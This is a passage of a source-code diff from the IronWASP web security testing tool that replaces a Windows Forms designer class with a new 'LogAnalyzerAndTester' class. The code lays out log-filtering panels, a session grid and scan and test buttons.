System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(23, 115); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(827, 30); - this.Step0StatusTB.TabIndex = 21; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // SearchResultsTab - // - this.SearchResultsTab.Controls.Add(this.BaseSplit); - this.SearchResultsTab.Location = new System.Drawing.Point(4, 22); - this.SearchResultsTab.Margin = new System.Windows.Forms.Padding(0); - this.SearchResultsTab.Name = "SearchResultsTab"; - this.SearchResultsTab.Size = new System.Drawing.Size(876, 536); - this.SearchResultsTab.TabIndex = 1; - this.SearchResultsTab.Text = " Search Results "; - this.SearchResultsTab.UseVisualStyleBackColor = true; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(8, 29); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(313, 13); - this.label6.TabIndex = 40; - this.label6.Text = "Click on Checkbox to select log. Click anywhere else to view log."; - // - // LogAnalyzer - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 562); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "LogAnalyzer"; - this.Text = "Log Analysis and Testing"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogAnalyzer_FormClosing); - this.Load += new System.EventHandler(this.LogAnalyzer_Load); - ((System.ComponentModel.ISupportInitialize)(this.LogGrid)).EndInit(); - this.panel8.ResumeLayout(false); - this.panel8.PerformLayout(); - this.panel7.ResumeLayout(false); - this.panel7.PerformLayout(); - this.panel6.ResumeLayout(false); - this.panel6.PerformLayout(); - this.LogSourceAndIdsPanel.ResumeLayout(false); - this.LogSourceAndIdsPanel.PerformLayout(); - this.panel4.ResumeLayout(false); - this.panel4.PerformLayout(); - this.panel3.ResumeLayout(false); - this.panel3.PerformLayout(); - this.panel2.ResumeLayout(false); - this.panel2.PerformLayout(); - this.panel1.ResumeLayout(false); - this.panel1.PerformLayout(); - this.BaseSplit.Panel1.ResumeLayout(false); - this.BaseSplit.Panel1.PerformLayout(); - this.BaseSplit.Panel2.ResumeLayout(false); - this.BaseSplit.ResumeLayout(false); - this.LogDisplayTabs.ResumeLayout(false); - this.tabPage12.ResumeLayout(false); - this.tabPage29.ResumeLayout(false); - this.BaseTabs.ResumeLayout(false); - this.SearchFilterTab.ResumeLayout(false); - this.SearchFilterPanel.ResumeLayout(false); - this.SearchFilterPanel.PerformLayout(); - this.SearchResultsTab.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - internal System.Windows.Forms.DataGridView LogGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; - private System.Windows.Forms.DataGridViewCheckBoxColumn SSLClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ParametersClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn CodeClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn LengthClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn ClmnMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn SetCookieClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn NotesClmn; - private System.Windows.Forms.Button StartTestBtn; - private System.Windows.Forms.Button RunModulesBtn; - private System.Windows.Forms.Button StartScanBtn; - private System.Windows.Forms.CheckBox SelectAllCB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.ComboBox SelectLogSourceCombo; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.RadioButton MatchRequestMethodsMinusRB; - private System.Windows.Forms.RadioButton MatchRequestMethodsPlusRB; - private System.Windows.Forms.TextBox MatchRequestMethodsTB; - private System.Windows.Forms.CheckBox MatchRequestMethodsCB; - private System.Windows.Forms.TextBox LogIdsRangeBelowTB; - private System.Windows.Forms.CheckBox LogIdsRangeBelowCB; - private System.Windows.Forms.TextBox LogIdsRangeAboveTB; - private System.Windows.Forms.RadioButton LogIdsRangeCustomRB; - private System.Windows.Forms.CheckBox LogIdsRangeAboveCB; - private System.Windows.Forms.RadioButton LogIdsRangeAnyRB; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Panel panel6; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.RadioButton SearchTypeNewRB; - private System.Windows.Forms.RadioButton SearchTypeChainedRB; - private System.Windows.Forms.Panel LogSourceAndIdsPanel; - private System.Windows.Forms.Panel panel4; - private System.Windows.Forms.RadioButton MatchFileExtensionsMinusRB; - private System.Windows.Forms.RadioButton MatchFileExtensionsPlusRB; - private System.Windows.Forms.TextBox MatchFileExtensionsTB; - private System.Windows.Forms.CheckBox MatchFileExtensionsCB; - private System.Windows.Forms.Panel panel3; - private System.Windows.Forms.RadioButton MatchHostNamesMinusRB; - private System.Windows.Forms.RadioButton MatchHostNamesPlusRB; - private System.Windows.Forms.TextBox MatchHostNamesTB; - private System.Windows.Forms.CheckBox MatchHostNamesCB; - private System.Windows.Forms.Panel panel2; - private System.Windows.Forms.RadioButton MatchResponseCodesMinusRB; - private System.Windows.Forms.RadioButton MatchResponseCodesPlusRB; - private System.Windows.Forms.TextBox MatchResponseCodesTB; - private System.Windows.Forms.CheckBox MatchResponseCodesCB; - private System.Windows.Forms.Button SearchBtn; - private System.Windows.Forms.Panel panel7; - private System.Windows.Forms.ComboBox MatchRequestUrlTypeCombo; - private System.Windows.Forms.TextBox MatchRequestUrlKeywordTB; - private System.Windows.Forms.CheckBox MatchRequestUrlCB; - private System.Windows.Forms.Panel panel8; - private System.Windows.Forms.CheckBox MatchKeywordInResponseBodySectionCB; - private System.Windows.Forms.CheckBox MatchKeywordInResponseHeadersSectionCB; - private System.Windows.Forms.CheckBox MatchKeywordInRequestBodySectionCB; - private System.Windows.Forms.CheckBox MatchKeywordInRequestHeadersSectionCB; - private System.Windows.Forms.CheckBox MatchKeywordInAllSectionsCB; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TextBox MatchKeywordTB; - private System.Windows.Forms.CheckBox MatchKeywordCB; - private System.Windows.Forms.SplitContainer BaseSplit; - internal System.Windows.Forms.TabControl LogDisplayTabs; - private System.Windows.Forms.TabPage tabPage12; - internal RequestView RequestView; - private System.Windows.Forms.TabPage tabPage29; - internal ResponseView ResponseView; - private System.Windows.Forms.ProgressBar LoadLogProgressBar; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage SearchFilterTab; - private System.Windows.Forms.TabPage SearchResultsTab; - private System.Windows.Forms.ProgressBar SearchProgressBar; - private System.Windows.Forms.Panel SearchFilterPanel; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Label SearchResultsCountLbl; - private System.Windows.Forms.Button DoDiffBtn; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Label label6; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class LogAnalyzerAndTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogAnalyzerAndTester)); + this.LogGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SSLClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ParametersClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ClmnMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SetCookieClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.NotesClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.StartTestBtn = new System.Windows.Forms.Button(); + this.RunModulesBtn = new System.Windows.Forms.Button(); + this.StartScanBtn = new System.Windows.Forms.Button(); + this.SelectAllCB = new System.Windows.Forms.CheckBox(); + this.panel8 = new System.Windows.Forms.Panel(); + this.label5 = new System.Windows.Forms.Label(); + this.MatchKeywordInResponseBodySectionCB = new System.Windows.Forms.CheckBox(); + this.MatchKeywordInResponseHeadersSectionCB = new System.Windows.Forms.CheckBox(); + this.MatchKeywordInRequestBodySectionCB = new System.Windows.Forms.CheckBox(); + this.MatchKeywordInRequestHeadersSectionCB = new System.Windows.Forms.CheckBox(); + this.MatchKeywordInAllSectionsCB = new System.Windows.Forms.CheckBox(); + this.label4 = new System.Windows.Forms.Label(); + this.MatchKeywordTB = new System.Windows.Forms.TextBox(); + this.MatchKeywordCB = new System.Windows.Forms.CheckBox(); + this.panel7 = new System.Windows.Forms.Panel(); + this.MatchRequestUrlTypeCombo = new System.Windows.Forms.ComboBox(); + this.MatchRequestUrlKeywordTB = new System.Windows.Forms.TextBox(); + this.MatchRequestUrlCB = new System.Windows.Forms.CheckBox(); + this.panel6 = new System.Windows.Forms.Panel(); + this.SearchBtn = new System.Windows.Forms.Button(); + this.label3 = new System.Windows.Forms.Label(); + this.SearchTypeNewRB = new System.Windows.Forms.RadioButton(); + this.SearchTypeChainedRB = new System.Windows.Forms.RadioButton(); + this.LogSourceAndIdsPanel = new System.Windows.Forms.Panel(); + this.LogIdsRangeBelowTB = new System.Windows.Forms.TextBox(); + this.SelectLogSourceCombo = new System.Windows.Forms.ComboBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.LogIdsRangeAnyRB = new System.Windows.Forms.RadioButton(); + this.LogIdsRangeAboveCB = new System.Windows.Forms.CheckBox(); + this.LogIdsRangeBelowCB = new System.Windows.Forms.CheckBox(); + this.LogIdsRangeCustomRB = new System.Windows.Forms.RadioButton(); + this.LogIdsRangeAboveTB = new System.Windows.Forms.TextBox(); + this.panel4 = new System.Windows.Forms.Panel(); + this.MatchFileExtensionsMinusRB = new System.Windows.Forms.RadioButton(); + this.MatchFileExtensionsPlusRB = new System.Windows.Forms.RadioButton(); + this.MatchFileExtensionsTB = new System.Windows.Forms.TextBox(); + this.MatchFileExtensionsCB = new System.Windows.Forms.CheckBox(); + this.panel3 = new System.Windows.Forms.Panel(); + this.MatchHostNamesMinusRB = new System.Windows.Forms.RadioButton(); + this.MatchHostNamesPlusRB = new System.Windows.Forms.RadioButton(); + this.MatchHostNamesTB = new System.Windows.Forms.TextBox(); + this.MatchHostNamesCB = new System.Windows.Forms.CheckBox(); + this.panel2 = new System.Windows.Forms.Panel(); + this.MatchResponseCodesMinusRB = new System.Windows.Forms.RadioButton(); + this.MatchResponseCodesPlusRB = new System.Windows.Forms.RadioButton(); + this.MatchResponseCodesTB = new System.Windows.Forms.TextBox(); + this.MatchResponseCodesCB = new System.Windows.Forms.CheckBox(); + this.panel1 = new System.Windows.Forms.Panel(); + this.MatchRequestMethodsMinusRB = new System.Windows.Forms.RadioButton(); + this.MatchRequestMethodsPlusRB = new System.Windows.Forms.RadioButton(); + this.MatchRequestMethodsTB = new System.Windows.Forms.TextBox(); + this.MatchRequestMethodsCB = new System.Windows.Forms.CheckBox(); + this.BaseSplit = new System.Windows.Forms.SplitContainer(); + this.label6 = new System.Windows.Forms.Label(); + this.DoDiffBtn = new System.Windows.Forms.Button(); + this.SearchResultsCountLbl = new System.Windows.Forms.Label(); + this.SearchProgressBar = new System.Windows.Forms.ProgressBar(); + this.LoadLogProgressBar = new System.Windows.Forms.ProgressBar(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.RequestView = new IronWASP.RequestView(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.ResponseView = new IronWASP.ResponseView(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.SearchFilterTab = new System.Windows.Forms.TabPage(); + this.SearchFilterPanel = new System.Windows.Forms.Panel(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.SearchResultsTab = new System.Windows.Forms.TabPage(); + ((System.ComponentModel.ISupportInitialize)(this.LogGrid)).BeginInit(); + this.panel8.SuspendLayout(); + this.panel7.SuspendLayout(); + this.panel6.SuspendLayout(); + this.LogSourceAndIdsPanel.SuspendLayout(); + this.panel4.SuspendLayout(); + this.panel3.SuspendLayout(); + this.panel2.SuspendLayout(); + this.panel1.SuspendLayout(); + this.BaseSplit.Panel1.SuspendLayout(); + this.BaseSplit.Panel2.SuspendLayout(); + this.BaseSplit.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.BaseTabs.SuspendLayout(); + this.SearchFilterTab.SuspendLayout(); + this.SearchFilterPanel.SuspendLayout(); + this.SearchResultsTab.SuspendLayout(); + this.SuspendLayout(); + // + // LogGrid + // + this.LogGrid.AllowUserToAddRows = false; + this.LogGrid.AllowUserToDeleteRows = false; + this.LogGrid.AllowUserToOrderColumns = true; + this.LogGrid.AllowUserToResizeRows = false; + this.LogGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.LogGrid.BackgroundColor = System.Drawing.Color.White; + this.LogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.LogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.LogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.LogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.IDClmn, + this.HostNameSelectClmn, + this.MethodClmn, + this.URLClmn, + this.FileClmn, + this.SSLClmn, + this.ParametersClmn, + this.CodeClmn, + this.LengthClmn, + this.ClmnMIME, + this.SetCookieClmn, + this.NotesClmn}); + this.LogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.LogGrid.GridColor = System.Drawing.Color.White; + this.LogGrid.Location = new System.Drawing.Point(0, 66); + this.LogGrid.Margin = new System.Windows.Forms.Padding(0); + this.LogGrid.MultiSelect = false; + this.LogGrid.Name = "LogGrid"; + this.LogGrid.ReadOnly = true; + this.LogGrid.RowHeadersVisible = false; + this.LogGrid.RowHeadersWidth = 10; + this.LogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.LogGrid.Size = new System.Drawing.Size(876, 249); + this.LogGrid.TabIndex = 3; + this.LogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogGrid_CellClick); + this.LogGrid.RowsRemoved += new System.Windows.Forms.DataGridViewRowsRemovedEventHandler(this.LogGrid_RowsRemoved); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.SelectClmn.Width = 60; + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // HostNameSelectClmn + // + this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.HostNameSelectClmn.HeaderText = "HOSTNAME"; + this.HostNameSelectClmn.Name = "HostNameSelectClmn"; + this.HostNameSelectClmn.ReadOnly = true; + this.HostNameSelectClmn.Width = 120; + // + // MethodClmn + // + this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MethodClmn.HeaderText = "METHOD"; + this.MethodClmn.Name = "MethodClmn"; + this.MethodClmn.ReadOnly = true; + this.MethodClmn.Width = 60; + // + // URLClmn + // + this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.URLClmn.HeaderText = "URL"; + this.URLClmn.MinimumWidth = 150; + this.URLClmn.Name = "URLClmn"; + this.URLClmn.ReadOnly = true; + // + // FileClmn + // + this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FileClmn.HeaderText = "FILE"; + this.FileClmn.Name = "FileClmn"; + this.FileClmn.ReadOnly = true; + this.FileClmn.Width = 40; + // + // SSLClmn + // + this.SSLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SSLClmn.HeaderText = "SSL"; + this.SSLClmn.Name = "SSLClmn"; + this.SSLClmn.ReadOnly = true; + this.SSLClmn.Width = 30; + // + // ParametersClmn + // + this.ParametersClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ParametersClmn.HeaderText = "PARAMETERS"; + this.ParametersClmn.Name = "ParametersClmn"; + this.ParametersClmn.ReadOnly = true; + this.ParametersClmn.Width = 85; + // + // CodeClmn + // + this.CodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.CodeClmn.HeaderText = "CODE"; + this.CodeClmn.Name = "CodeClmn"; + this.CodeClmn.ReadOnly = true; + this.CodeClmn.Width = 45; + // + // LengthClmn + // + this.LengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LengthClmn.HeaderText = "LENGTH"; + this.LengthClmn.Name = "LengthClmn"; + this.LengthClmn.ReadOnly = true; + this.LengthClmn.Width = 55; + // + // ClmnMIME + // + this.ClmnMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ClmnMIME.HeaderText = "MIME"; + this.ClmnMIME.Name = "ClmnMIME"; + this.ClmnMIME.ReadOnly = true; + this.ClmnMIME.Width = 60; + // + // SetCookieClmn + // + this.SetCookieClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SetCookieClmn.HeaderText = "SET-COOKIE"; + this.SetCookieClmn.Name = "SetCookieClmn"; + this.SetCookieClmn.ReadOnly = true; + this.SetCookieClmn.Width = 80; + // + // NotesClmn + // + this.NotesClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.NotesClmn.HeaderText = "NOTES"; + this.NotesClmn.Name = "NotesClmn"; + this.NotesClmn.ReadOnly = true; + this.NotesClmn.Visible = false; + this.NotesClmn.Width = 80; + // + // StartTestBtn + // + this.StartTestBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.StartTestBtn.Enabled = false; + this.StartTestBtn.Location = new System.Drawing.Point(625, 18); + this.StartTestBtn.Name = "StartTestBtn"; + this.StartTestBtn.Size = new System.Drawing.Size(121, 44); + this.StartTestBtn.TabIndex = 4; + this.StartTestBtn.Text = "Test Selected Sessions"; + this.StartTestBtn.UseVisualStyleBackColor = true; + this.StartTestBtn.Click += new System.EventHandler(this.StartTestBtn_Click); + // + // RunModulesBtn + // + this.RunModulesBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.RunModulesBtn.Enabled = false; + this.RunModulesBtn.Location = new System.Drawing.Point(752, 18); + this.RunModulesBtn.Name = "RunModulesBtn"; + this.RunModulesBtn.Size = new System.Drawing.Size(119, 44); + this.RunModulesBtn.TabIndex = 6; + this.RunModulesBtn.Text = "Run Modules on Selected Sessions"; + this.RunModulesBtn.UseVisualStyleBackColor = true; + this.RunModulesBtn.Click += new System.EventHandler(this.RunModulesBtn_Click); + // + // StartScanBtn + // + this.StartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.StartScanBtn.Enabled = false; + this.StartScanBtn.Location = new System.Drawing.Point(511, 18); + this.StartScanBtn.Name = "StartScanBtn"; + this.StartScanBtn.Size = new System.Drawing.Size(108, 43); + this.StartScanBtn.TabIndex = 7; + this.StartScanBtn.Text = "Scan Selected Requests"; + this.StartScanBtn.UseVisualStyleBackColor = true; + this.StartScanBtn.Click += new System.EventHandler(this.StartScanBtn_Click); + // + // SelectAllCB + // + this.SelectAllCB.AutoSize = true; + this.SelectAllCB.Location = new System.Drawing.Point(8, 45); + this.SelectAllCB.Name = "SelectAllCB"; + this.SelectAllCB.Size = new System.Drawing.Size(94, 17); + this.SelectAllCB.TabIndex = 8; + this.SelectAllCB.Text = "Select all rows"; + this.SelectAllCB.UseVisualStyleBackColor = true; + this.SelectAllCB.Click += new System.EventHandler(this.SelectAllCB_Click); + // + // panel8 + // + this.panel8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel8.BackColor = System.Drawing.Color.White; + this.panel8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel8.Controls.Add(this.label5); + this.panel8.Controls.Add(this.MatchKeywordInResponseBodySectionCB); + this.panel8.Controls.Add(this.MatchKeywordInResponseHeadersSectionCB); + this.panel8.Controls.Add(this.MatchKeywordInRequestBodySectionCB); + this.panel8.Controls.Add(this.MatchKeywordInRequestHeadersSectionCB); + this.panel8.Controls.Add(this.MatchKeywordInAllSectionsCB); + this.panel8.Controls.Add(this.label4); + this.panel8.Controls.Add(this.MatchKeywordTB); + this.panel8.Controls.Add(this.MatchKeywordCB); + this.panel8.Location = new System.Drawing.Point(14, 219); + this.panel8.Name = "panel8"; + this.panel8.Size = new System.Drawing.Size(852, 52); + this.panel8.TabIndex = 20; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(595, 33); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(247, 13); + this.label5.TabIndex = 19; + this.label5.Text = "(Binary Request and Response bodies are ignored)"; + // + // MatchKeywordInResponseBodySectionCB + // + this.MatchKeywordInResponseBodySectionCB.AutoSize = true; + this.MatchKeywordInResponseBodySectionCB.Checked = true; + this.MatchKeywordInResponseBodySectionCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.MatchKeywordInResponseBodySectionCB.Enabled = false; + this.MatchKeywordInResponseBodySectionCB.Location = new System.Drawing.Point(488, 32); + this.MatchKeywordInResponseBodySectionCB.Name = "MatchKeywordInResponseBodySectionCB"; + this.MatchKeywordInResponseBodySectionCB.Size = new System.Drawing.Size(101, 17); + this.MatchKeywordInResponseBodySectionCB.TabIndex = 18; + this.MatchKeywordInResponseBodySectionCB.Text = "Response Body"; + this.MatchKeywordInResponseBodySectionCB.UseVisualStyleBackColor = true; + this.MatchKeywordInResponseBodySectionCB.Click += new System.EventHandler(this.MatchKeywordInResponseBodySectionCB_Click); + // + // MatchKeywordInResponseHeadersSectionCB + // + this.MatchKeywordInResponseHeadersSectionCB.AutoSize = true; + this.MatchKeywordInResponseHeadersSectionCB.Checked = true; + this.MatchKeywordInResponseHeadersSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.MatchKeywordInResponseHeadersSectionCB.Enabled = false; + this.MatchKeywordInResponseHeadersSectionCB.Location = new System.Drawing.Point(365, 32); + this.MatchKeywordInResponseHeadersSectionCB.Name = "MatchKeywordInResponseHeadersSectionCB"; + this.MatchKeywordInResponseHeadersSectionCB.Size = new System.Drawing.Size(117, 17); + this.MatchKeywordInResponseHeadersSectionCB.TabIndex = 17; + this.MatchKeywordInResponseHeadersSectionCB.Text = "Response Headers"; + this.MatchKeywordInResponseHeadersSectionCB.UseVisualStyleBackColor = true; + this.MatchKeywordInResponseHeadersSectionCB.Click += new System.EventHandler(this.MatchKeywordInResponseHeadersSectionCB_Click); + // + // MatchKeywordInRequestBodySectionCB + // + this.MatchKeywordInRequestBodySectionCB.AutoSize = true; + this.MatchKeywordInRequestBodySectionCB.Checked = true; + this.MatchKeywordInRequestBodySectionCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.MatchKeywordInRequestBodySectionCB.Enabled = false; + this.MatchKeywordInRequestBodySectionCB.Location = new System.Drawing.Point(266, 32); + this.MatchKeywordInRequestBodySectionCB.Name = "MatchKeywordInRequestBodySectionCB"; + this.MatchKeywordInRequestBodySectionCB.Size = new System.Drawing.Size(93, 17); + this.MatchKeywordInRequestBodySectionCB.TabIndex = 16; + this.MatchKeywordInRequestBodySectionCB.Text = "Request Body"; + this.MatchKeywordInRequestBodySectionCB.UseVisualStyleBackColor = true; + this.MatchKeywordInRequestBodySectionCB.Click += new System.EventHandler(this.MatchKeywordInRequestBodySectionCB_Click); + // + // MatchKeywordInRequestHeadersSectionCB + // + this.MatchKeywordInRequestHeadersSectionCB.AutoSize = true; + this.MatchKeywordInRequestHeadersSectionCB.Checked = true; + this.MatchKeywordInRequestHeadersSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.MatchKeywordInRequestHeadersSectionCB.Enabled = false; + this.MatchKeywordInRequestHeadersSectionCB.Location = new System.Drawing.Point(151, 32); + this.MatchKeywordInRequestHeadersSectionCB.Name = "MatchKeywordInRequestHeadersSectionCB"; + this.MatchKeywordInRequestHeadersSectionCB.Size = new System.Drawing.Size(109, 17); + this.MatchKeywordInRequestHeadersSectionCB.TabIndex = 15; + this.MatchKeywordInRequestHeadersSectionCB.Text = "Request Headers"; + this.MatchKeywordInRequestHeadersSectionCB.UseVisualStyleBackColor = true; + this.MatchKeywordInRequestHeadersSectionCB.Click += new System.EventHandler(this.MatchKeywordInRequestHeadersSectionCB_Click); + // + // MatchKeywordInAllSectionsCB + // + this.MatchKeywordInAllSectionsCB.AutoSize = true; + this.MatchKeywordInAllSectionsCB.Checked = true; + this.MatchKeywordInAllSectionsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.MatchKeywordInAllSectionsCB.Enabled = false; + this.MatchKeywordInAllSectionsCB.Location = new System.Drawing.Point(108, 32); + this.MatchKeywordInAllSectionsCB.Name = "MatchKeywordInAllSectionsCB"; + this.MatchKeywordInAllSectionsCB.Size = new System.Drawing.Size(37, 17); + this.MatchKeywordInAllSectionsCB.TabIndex = 14; + this.MatchKeywordInAllSectionsCB.Text = "All"; + this.MatchKeywordInAllSectionsCB.UseVisualStyleBackColor = true; + this.MatchKeywordInAllSectionsCB.Click += new System.EventHandler(this.MatchKeywordInAllSectionsCB_Click); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(6, 33); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(95, 13); + this.label4.TabIndex = 13; + 